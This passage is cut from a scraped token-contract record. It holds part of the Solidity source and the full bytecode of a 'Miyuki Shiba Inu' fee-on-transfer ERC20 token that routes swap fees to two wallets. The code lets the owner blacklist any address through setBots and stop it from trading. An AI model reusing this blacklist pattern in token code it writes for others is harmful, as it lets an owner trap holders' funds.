_allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 1; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 1; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612aeb565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061267d565b61042a565b60405161016d9190612ad0565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612c4d565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061262e565b61045c565b6040516101d59190612ad0565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906125a0565b610535565b005b34801561021357600080fd5b5061021c610625565b6040516102299190612cc2565b60405180910390f35b34801561023e57600080fd5b50610259600480360381019061025491906126fa565b61062e565b005b34801561026757600080fd5b506102706106e0565b005b34801561027e57600080fd5b50610299600480360381019061029491906125a0565b610752565b6040516102a69190612c4d565b60405180910390f35b3480156102bb57600080fd5b506102c46107a3565b005b3480156102d257600080fd5b506102db6108f6565b6040516102e89190612a02565b60405180910390f35b3480156102fd57600080fd5b5061030661091f565b6040516103139190612aeb565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e919061267d565b61095c565b6040516103509190612ad0565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906126b9565b61097a565b005b34801561038e57600080fd5b50610397610aca565b005b3480156103a557600080fd5b506103ae610b44565b005b3480156103bc57600080fd5b506103d760048036038101906103d291906125f2565b6110a7565b6040516103e49190612c4d565b60405180910390f35b60606040518060400160405280601081526020017f4d6979756b6920536869626120496e7500000000000000000000000000000000815250905090565b600061043e61043761112e565b8484611136565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b6000610469848484611301565b61052a8461047561112e565b6105258560405180606001604052806028815260200161333460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104db61112e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119069092919063ffffffff16565b611136565b600190509392505050565b61053d61112e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190612bad565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61063661112e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90612bad565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661072161112e565b73ffffffffffffffffffffffffffffffffffffffff161461074157600080fd5b600047905061074f8161196a565b50565b600061079c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a65565b9050919050565b6107ab61112e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f90612bad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d4959554b490000000000000000000000000000000000000000000000000000815250905090565b600061097061096961112e565b8484611301565b6001905092915050565b61098261112e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612bad565b60405180910390fd5b60005b8151811015610ac657600160066000848481518110610a5a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610abe90612f63565b915050610a12565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0b61112e565b73ffffffffffffffffffffffffffffffffffffffff1614610b2b57600080fd5b6000610b3630610752565b9050610b4181611ad3565b50565b610b4c61112e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd090612bad565b60405180910390fd5b600f60149054906101000a900460ff1615610c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2090612c2d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cbc30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce8000000611136565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0257600080fd5b505afa158015610d16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3a91906125c9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9c57600080fd5b505afa158015610db0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd491906125c9565b6040518363ffffffff1660e01b8152600401610df1929190612a1d565b602060405180830381600087803b158015610e0b57600080fd5b505af1158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4391906125c9565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ecc30610752565b600080610ed76108f6565b426040518863ffffffff1660e01b8152600401610ef996959493929190612a6f565b6060604051808303818588803b158015610f1257600080fd5b505af1158015610f26573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f4b919061274c565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506b033b2e3c9fd0803ce80000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611051929190612a46565b602060405180830381600087803b15801561106b57600080fd5b505af115801561107f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a39190612723565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90612c0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611216576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120d90612b4d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f49190612c4d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611371576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136890612bed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d890612b0d565b60405180910390fd5b60008111611424576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141b90612bcd565b60405180910390fd5b6001600a819055506001600b8190555061143c6108f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114aa575061147a6108f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118f657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115535750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61155c57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116075750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561165d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116755750600f60179054906101000a900460ff165b156117255760105481111561168957600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116d457600080fd5b601e426116e19190612d83565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117d05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118265750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561183c576001600a819055506001600b819055505b600061184730610752565b9050600f60159054906101000a900460ff161580156118b45750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118cc5750600f60169054906101000a900460ff165b156118f4576118da81611ad3565b600047905060008111156118f2576118f14761196a565b5b505b505b611901838383611dcd565b505050565b600083831115829061194e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119459190612aeb565b60405180910390fd5b506000838561195d9190612e64565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119ba600284611ddd90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119e5573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a36600284611ddd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a61573d6000803e3d6000fd5b5050565b6000600854821115611aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa390612b2d565b60405180910390fd5b6000611ab6611e27565b9050611acb8184611ddd90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b31577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611b5f5781602001602082028036833780820191505090505b5090503081600081518110611b9d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c3f57600080fd5b505afa158015611c53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c7791906125c9565b81600181518110611cb1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d1830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611136565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d7c959493929190612c68565b600060405180830381600087803b158015611d9657600080fd5b505af1158015611daa573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dd8838383611e52565b505050565b6000611e1f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061201d565b905092915050565b6000806000611e34612080565b91509150611e4b8183611ddd90919063ffffffff16565b9250505090565b600080600080600080611e64876120eb565b955095509550955095509550611ec286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f5785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fa3816121fb565b611fad84836122b8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161200a9190612c4d565b60405180910390a3505050505050505050565b60008083118290612064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205b9190612aeb565b60405180910390fd5b50600083856120739190612dd9565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506120bc6b033b2e3c9fd0803ce8000000600854611ddd90919063ffffffff16565b8210156120de576008546b033b2e3c9fd0803ce80000009350935050506120e7565b81819350935050505b9091565b60008060008060008060008060006121088a600a54600b546122f2565b9250925092506000612118611e27565b9050600080600061212b8e878787612388565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061219583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611906565b905092915050565b60008082846121ac9190612d83565b9050838110156121f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e890612b6d565b60405180910390fd5b8091505092915050565b6000612205611e27565b9050600061221c828461241190919063ffffffff16565b905061227081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122cd8260085461215390919063ffffffff16565b6008819055506122e88160095461219d90919063ffffffff16565b6009819055505050565b60008060008061231e6064612310888a61241190919063ffffffff16565b611ddd90919063ffffffff16565b90506000612348606461233a888b61241190919063ffffffff16565b611ddd90919063ffffffff16565b9050600061237182612363858c61215390919063ffffffff16565b61215390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123a1858961241190919063ffffffff16565b905060006123b8868961241190919063ffffffff16565b905060006123cf878961241190919063ffffffff16565b905060006123f8826123ea858761215390919063ffffffff16565b61215390919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124245760009050612486565b600082846124329190612e0a565b90508284826124419190612dd9565b14612481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247890612b8d565b60405180910390fd5b809150505b92915050565b600061249f61249a84612d02565b612cdd565b905080838252602082019050828560208602820111156124be57600080fd5b60005b858110156124ee57816124d488826124f8565b8452602084019350602083019250506001810190506124c1565b5050509392505050565b600081359050612507816132ee565b92915050565b60008151905061251c816132ee565b92915050565b600082601f83011261253357600080fd5b813561254384826020860161248c565b91505092915050565b60008135905061255b81613305565b92915050565b60008151905061257081613305565b92915050565b6000813590506125858161331c565b92915050565b60008151905061259a8161331c565b92915050565b6000602082840312156125b257600080fd5b60006125c0848285016124f8565b91505092915050565b6000602082840312156125db57600080fd5b60006125e98482850161250d565b91505092915050565b6000806040838503121561260557600080fd5b6000612613858286016124f8565b9250506020612624858286016124f8565b9150509250929050565b60008060006060848603121561264357600080fd5b6000612651868287016124f8565b9350506020612662868287016124f8565b925050604061267386828701612576565b9150509250925092565b6000806040838503121561269057600080fd5b600061269e858286016124f8565b92505060206126af85828601612576565b9150509250929050565b6000602082840312156126cb57600080fd5b600082013567ffffffffffffffff8111156126e557600080fd5b6126f184828501612522565b91505092915050565b60006020828403121561270c57600080fd5b600061271a8482850161254c565b91505092915050565b60006020828403121561273557600080fd5b600061274384828501612561565b91505092915050565b60008060006060848603121561276157600080fd5b600061276f8682870161258b565b93505060206127808682870161258b565b92505060406127918682870161258b565b9150509250925092565b60006127a783836127b3565b60208301905092915050565b6127bc81612e98565b82525050565b6127cb81612e98565b82525050565b60006127dc82612d3e565b6127e68185612d61565b93506127f183612d2e565b8060005b83811015612822578151612809888261279b565b975061281483612d54565b9250506001810190506127f5565b5085935050505092915050565b61283881612eaa565b82525050565b61284781612eed565b82525050565b600061285882612d49565b6128628185612d72565b9350612872818560208601612eff565b61287b81613039565b840191505092915050565b6000612893602383612d72565b915061289e8261304a565b604082019050919050565b60006128b6602a83612d72565b91506128c182613099565b604082019050919050565b60006128d9602283612d72565b91506128e4826130e8565b604082019050919050565b60006128fc601b83612d72565b915061290782613137565b602082019050919050565b600061291f602183612d72565b915061292a82613160565b604082019050919050565b6000612942602083612d72565b915061294d826131af565b602082019050919050565b6000612965602983612d72565b9150612970826131d8565b604082019050919050565b6000612988602583612d72565b915061299382613227565b604082019050919050565b60006129ab602483612d72565b91506129b682613276565b604082019050919050565b60006129ce601783612d72565b91506129d9826132c5565b602082019050919050565b6129ed81612ed6565b82525050565b6129fc81612ee0565b82525050565b6000602082019050612a1760008301846127c2565b92915050565b6000604082019050612a3260008301856127c2565b612a3f60208301846127c2565b9392505050565b6000604082019050612a5b60008301856127c2565b612a6860208301846129e4565b9392505050565b600060c082019050612a8460008301896127c2565b612a9160208301886129e4565b612a9e604083018761283e565b612aab606083018661283e565b612ab860808301856127c2565b612ac560a08301846129e4565b979650505050505050565b6000602082019050612ae5600083018461282f565b92915050565b60006020820190508181036000830152612b05818461284d565b905092915050565b60006020820190508181036000830152612b2681612886565b9050919050565b60006020820190508181036000830152612b46816128a9565b9050919050565b60006020820190508181036000830152612b66816128cc565b9050919050565b60006020820190508181036000830152612b86816128ef565b9050919050565b60006020820190508181036000830152612ba681612912565b9050919050565b60006020820190508181036000830152612bc681612935565b9050919050565b60006020820190508181036000830152612be681612958565b9050919050565b60006020820190508181036000830152612c068161297b565b9050919050565b60006020820190508181036000830152612c268161299e565b9050919050565b60006020820190508181036000830152612c46816129c1565b9050919050565b6000602082019050612c6260008301846129e4565b92915050565b600060a082019050612c7d60008301886129e4565b612c8a602083018761283e565b8181036040830152612c9c81866127d1565b9050612cab60608301856127c2565b612cb860808301846129e4565b9695505050505050565b6000602082019050612cd760008301846129f3565b92915050565b6000612ce7612cf8565b9050612cf38282612f32565b919050565b6000604051905090565b600067ffffffffffffffff821115612d1d57612d1c61300a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d8e82612ed6565b9150612d9983612ed6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612dce57612dcd612fac565b5b828201905092915050565b6000612de482612ed6565b9150612def83612ed6565b925082612dff57612dfe612fdb565b5b828204905092915050565b6000612e1582612ed6565b9150612e2083612ed6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e5957612e58612fac565b5b828202905092915050565b6000612e6f82612ed6565b9150612e7a83612ed6565b925082821015612e8d57612e8c612fac565b5b828203905092915050565b6000612ea382612eb6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612ef882612ed6565b9050919050565b60005b83811015612f1d578082015181840152602081019050612f02565b83811115612f2c576000848401525b50505050565b612f3b82613039565b810181811067ffffffffffffffff82111715612f5a57612f5961300a565b5b80604052505050565b6000612f6e82612ed6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612fa157612fa0612fac565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132f781612e98565b811461330257600080fd5b50565b61330e81612eaa565b811461331957600080fd5b50565b61332581612ed6565b811461333057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122073e92f0cdb3150f27309e449b35578886e996fb600c5d5378911984e0575610c64736f6c63430008040033
[ 13, 5 ]
0xf371d6287e40569aaa38d7f09a62a2267ded7cae
